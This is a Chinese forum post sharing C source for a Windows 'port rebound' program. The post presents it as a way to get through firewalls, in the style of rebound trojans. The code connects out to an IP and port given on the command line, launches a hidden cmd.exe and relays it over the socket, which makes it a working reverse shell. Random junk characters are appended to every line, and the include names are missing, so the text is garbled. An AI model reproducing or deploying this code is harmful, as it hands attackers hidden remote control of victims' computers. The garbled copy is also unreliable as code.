社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 6906阅读
  • 0回复

Windows下端口反弹

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 p1niS:}j  
c Q-#]  
/* ============================== <}~ /. Cx  
Rebound port in Windows NT YX,;z/Jw2  
By wind,2006/7 seK;TQ3/7  
===============================*/ VdM Ksx`r  
#include @4*eH\3  
#include vzI>:Bf  
,)xtl`fc  
#pragma comment(lib,"wsock32.lib") Ne|CWUhO  
$!9U\Au>2  
void OutputShell(); A}9^,C$#  
SOCKET sClient; 3l~7  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 1YMi4.  
=p[Sd*d  
void main(int argc,char **argv) %IVM1  
{ paV1o>_Rd  
WSADATA stWsaData; b*h:e.q  
int nRet; o'$-  
SOCKADDR_IN stSaiClient,stSaiServer; .jP|b~  
/'DAB**  
if(argc != 3) :* |WE29U  
{ /1/'zF&R-  
printf("Useage:\n\rRebound DestIP DestPort\n"); SHPDbBS  
return; ',[AKXJ  
} WP\kg\o  
Y54yojvV  
WSAStartup(MAKEWORD(2,2),&stWsaData); +76ao7d.  
jNX6Ct?  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); W7|nc,i0\  
WNjG/U  
stSaiClient.sin_family = AF_INET; 8u)>o* :  
stSaiClient.sin_port = htons(0); >?JUGXAi'{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); <Sd ef^  
"kcix!}&  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [Y`E"1f2  
{ lQ^"-zO4  
printf("Bind Socket Failed!\n"); *N ~'0"#  
return; =jm\8sl~~  
} Ew.6y=Ba  
{Q$8p2W  
stSaiServer.sin_family = AF_INET; M<l<n$rYS  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); eVMnI yr  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ]:F !h2  
Xl<*Fn?  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @Zhd/=2[  
{ t;3).F  
printf("Connect Error!"); e@O]c "  
return; 5.\|*+E~  
} 9f& !Uw_W  
OutputShell(); x76;wQ  
} 8H};pu2  
e:MbMj6`  
void OutputShell() /: -&b#+  
{ ,\+N}F^  
char szBuff[1024]; Y<Ae_yLa  
SECURITY_ATTRIBUTES stSecurityAttributes; 45-x$o  
OSVERSIONINFO stOsversionInfo; be-HF;lZe'  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; P(b~3NB)  
STARTUPINFO stStartupInfo; >u0XV"g$  
char *szShell; 4yTgH0(T  
PROCESS_INFORMATION stProcessInformation; R9-mq; u+  
unsigned long lBytesRead; p {. 6  
PL31(!`@d  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); N8x&<H  
.P5' \  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); '"Uhw$#t  
stSecurityAttributes.lpSecurityDescriptor = 0; $P8AU81  
stSecurityAttributes.bInheritHandle = TRUE; Rc9>^>w  
1)97AkN(O  
a|]deJU^  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .*"KCQGOgM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); \TzBu?,v8  
#:Q\   
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); {Qd oI Pr3  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @R;k@b   
stStartupInfo.wShowWindow = SW_HIDE; yfqe6-8U  
stStartupInfo.hStdInput = hReadPipe; 7zN7PHT=$t  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; k`'*niz  
2Kr8#_) 0  
GetVersionEx(&stOsversionInfo); ZjY?T)WE9  
A ^hafBa  
switch(stOsversionInfo.dwPlatformId) u!+;Iy7  
{ o)b-fAd@$  
case 1: S 1~EJa5H  
szShell = "command.com"; <f)T*E^5%  
break; 'Zex/:QS  
default: sc-hO9~k  
szShell = "cmd.exe"; !H)!b#_  
break; l*CCnqE  
} h{\S'8  
hfc~HKLC  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); =?]S8cth  
][//G|9  
send(sClient,szMsg,77,0); hH05p!2  
while(1) &Vpr[S@:{  
{ C^_m>H3b  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); (*vBpJyz%  
if(lBytesRead) plr3&T~,&S  
{ kbH@h2Ww  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); L|b[6[XTHL  
send(sClient,szBuff,lBytesRead,0); 2*gB~Jn4  
} p,(W?.ZDN?  
else c*R\fQd  
{ Ed-3-vJej6  
lBytesRead=recv(sClient,szBuff,1024,0); g#1 Y4  
if(lBytesRead<=0) break; ]TtID4qL  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); muK.x7zyl  
} e6 <9`Xg  
} TZg1,Z  
t1yfSStp  
return; >@a7Zzl0H  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八